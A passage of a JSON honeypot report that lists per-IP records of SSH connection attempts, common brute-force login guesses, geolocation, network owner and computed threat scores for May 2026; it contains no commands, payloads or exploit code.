        "first_seen_30d": "2026-05-21T06:08:46.089000+00:00",
        "last_seen_30d": "2026-05-21T06:12:52.973000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "34.38.78.29": {
      "attack_count": 10,
      "first_seen": "2026-05-09T06:38:05.785Z",
      "last_seen": "2026-05-09T06:38:12.846Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:38:05.785000+00:00",
        "last_seen_30d": "2026-05-09T06:39:19.810000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.186.166": {
      "attack_count": 10,
      "first_seen": "2026-05-03T07:11:49.234Z",
      "last_seen": "2026-05-26T00:31:46.383Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T01:03:13.492000+00:00",
        "last_seen_30d": "2026-05-31T15:31:24.087000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 44,
        "Cowrie": 10,
        "CitrixHoneypot": 3
      }
    },
    "81.214.149.150": {
      "attack_count": 10,
      "first_seen": "2026-05-21T10:29:52.350Z",
      "last_seen": "2026-05-21T10:35:56.962Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Yalova",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:29:52.350000+00:00",
        "last_seen_30d": "2026-05-21T10:46:40.624000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "71.6.134.230": {
      "attack_count": 9,
      "first_seen": "2026-05-23T02:08:12.516Z",
      "last_seen": "2026-05-23T02:39:40.278Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 61.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.2,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 20,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T13:26:18.255000+00:00",
        "last_seen_30d": "2026-05-24T13:19:54.533000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149,
        "Honeytrap": 52,
        "Cowrie": 9,
        "Dionaea": 1
      }
    },
    "172.86.121.104": {
      "attack_count": 8,
      "first_seen": "2026-05-18T05:55:35.434Z",
      "last_seen": "2026-05-18T05:55:35.964Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:23:47.329000+00:00",
        "last_seen_30d": "2026-05-18T05:56:44.446000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 8
      }
    },
    "181.18.169.125": {
      "attack_count": 8,
      "first_seen": "2026-05-19T20:43:53.782Z",
      "last_seen": "2026-05-19T22:15:11.683Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:43:53.782000+00:00",
        "last_seen_30d": "2026-05-19T22:16:14.258000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "198.235.24.20": {
      "attack_count": 8,
      "first_seen": "2026-05-05T22:51:23.429Z",
      "last_seen": "2026-05-31T10:56:02.802Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T15:13:11.593000+00:00",
        "last_seen_30d": "2026-05-31T10:57:11.810000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 14,
        "Cowrie": 8,
        "Dionaea": 1
      }
    },
    "47.201.205.21": {
      "attack_count": 8,
      "first_seen": "2026-05-21T16:21:24.764Z",
      "last_seen": "2026-05-21T16:29:26.202Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St. Petersburg",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:21:24.764000+00:00",
        "last_seen_30d": "2026-05-21T16:30:33.197000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "92.184.103.19": {
      "attack_count": 8,
      "first_seen": "2026-05-04T17:01:51.839Z",
      "last_seen": "2026-05-04T17:09:58.038Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:01:51.839000+00:00",
        "last_seen_30d": "2026-05-04T17:11:00.453000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "94.26.106.31": {
      "attack_count": 7,
      "first_seen": "2026-05-10T14:07:46.118Z",
      "last_seen": "2026-05-10T14:07:48.567Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "mysql"
      ],
      "passwords_attempted": [
        "mysql"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:07:46.118000+00:00",
        "last_seen_30d": "2026-05-10T14:08:52.571000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "66.132.195.54": {
      "attack_count": 6,
      "first_seen": "2026-05-14T18:30:42.853Z",
      "last_seen": "2026-05-14T18:31:17.995Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:36:36+00:00",
        "last_seen_30d": "2026-05-31T07:52:23.145000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 44,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Dionaea": 4,
        "Sentrypeer": 1
      }
    },
    "93.123.109.22": {
      "attack_count": 6,
      "first_seen": "2026-05-13T22:46:20.550Z",
      "last_seen": "2026-05-13T22:46:33.729Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3078,
        "days_active_30d": 3,
        "ports_targeted_30d": 1017,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-12T14:22:46.208000+00:00",
        "last_seen_30d": "2026-05-14T02:34:52.290000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2112,
        "Honeytrap": 909,
        "ConPot": 16,
        "Dionaea": 10,
        "Redishoneypot": 8,
        "Cowrie": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Tanner": 2,
        "Miniprint": 1
      }
    },
    "185.246.188.74": {
      "attack_count": 5,
      "first_seen": "2026-05-18T13:00:13.005Z",
      "last_seen": "2026-05-18T13:00:23.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 200651,
      "as_org": "FlokiNET ehf",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:00:13.005000+00:00",
        "last_seen_30d": "2026-05-18T13:01:30.886000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "88.80.26.4": {
      "attack_count": 5,
      "first_seen": "2026-05-26T05:59:34.599Z",
      "last_seen": "2026-05-26T05:59:46.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "ZabTharwat@2021Emo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 33837,
      "as_org": "Fredrik Holmqvist",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T05:59:34.599000+00:00",
        "last_seen_30d": "2026-05-26T06:00:55.115000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "106.219.127.174": {
      "attack_count": 4,
      "first_seen": "2026-05-15T12:30:45.048Z",
      "last_seen": "2026-05-18T07:47:33.820Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Faridabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:30:45.048000+00:00",
        "last_seen_30d": "2026-05-18T07:48:40.616000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "46.101.226.179": {
      "attack_count": 4,
      "first_seen": "2026-05-19T20:41:13.242Z",
      "last_seen": "2026-05-19T20:41:14.252Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:41:13.242000+00:00",
        "last_seen_30d": "2026-05-19T20:42:17.705000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.197.127": {
      "attack_count": 4,
      "first_seen": "2026-05-10T14:30:10.791Z",
      "last_seen": "2026-05-10T14:30:14.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:23:53.133000+00:00",
        "last_seen_30d": "2026-05-29T00:06:16.366000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "71.6.232.27": {
      "attack_count": 4,
      "first_seen": "2026-05-11T08:15:24.300Z",
      "last_seen": "2026-05-11T08:15:32.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 24,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-04T13:37:48.270000+00:00",
        "last_seen_30d": "2026-05-27T22:44:23.629000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 2,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "156.67.31.10": {
      "attack_count": 3,
      "first_seen": "2026-05-24T23:11:14.433Z",
      "last_seen": "2026-05-24T23:12:15.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:11:14.433000+00:00",
        "last_seen_30d": "2026-05-24T23:13:20.870000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.2.225.146": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:40:19.392Z",
      "last_seen": "2026-05-07T03:40:32.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Nakhon Ratchasima",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:40:19.392000+00:00",
        "last_seen_30d": "2026-05-07T03:41:41.318000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.219.208.166": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:03:55.822Z",
      "last_seen": "2026-05-22T00:05:55.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 328856,
      "as_org": "VIJIJI-CONNECT-LIMITED",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:03:55.822000+00:00",
        "last_seen_30d": "2026-05-22T00:16:28.912000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "103.236.154.142": {
      "attack_count": 2,
      "first_seen": "2026-05-08T20:16:53.598Z",
      "last_seen": "2026-05-08T20:17:08.125Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 58659,
      "as_org": "Quest Consultancy Pvt Ltd",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T20:16:53.598000+00:00",
        "last_seen_30d": "2026-05-08T20:19:08.783000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "116.207.115.159": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:24:47.050Z",
      "last_seen": "2026-05-23T09:25:16.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:24:47.050000+00:00",
        "last_seen_30d": "2026-05-23T09:26:20.073000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.63.189.89": {
      "attack_count": 2,
      "first_seen": "2026-05-21T07:54:19.796Z",
      "last_seen": "2026-05-21T07:54:59.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:54:19.796000+00:00",
        "last_seen_30d": "2026-05-21T07:56:02.778000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.167.158.75": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:35:08.037Z",
      "last_seen": "2026-05-11T09:35:20.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mangaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:35:08.037000+00:00",
        "last_seen_30d": "2026-05-11T09:36:21.931000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.169.127.30": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:11:24.364Z",
      "last_seen": "2026-05-23T11:11:55.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:11:24.364000+00:00",
        "last_seen_30d": "2026-05-23T11:13:03.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.104.132.68": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:50:27.043Z",
      "last_seen": "2026-05-02T19:50:40.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:50:27.043000+00:00",
        "last_seen_30d": "2026-05-02T19:51:43.092000+00:00",
        "days_since_last_seen": 29
      },
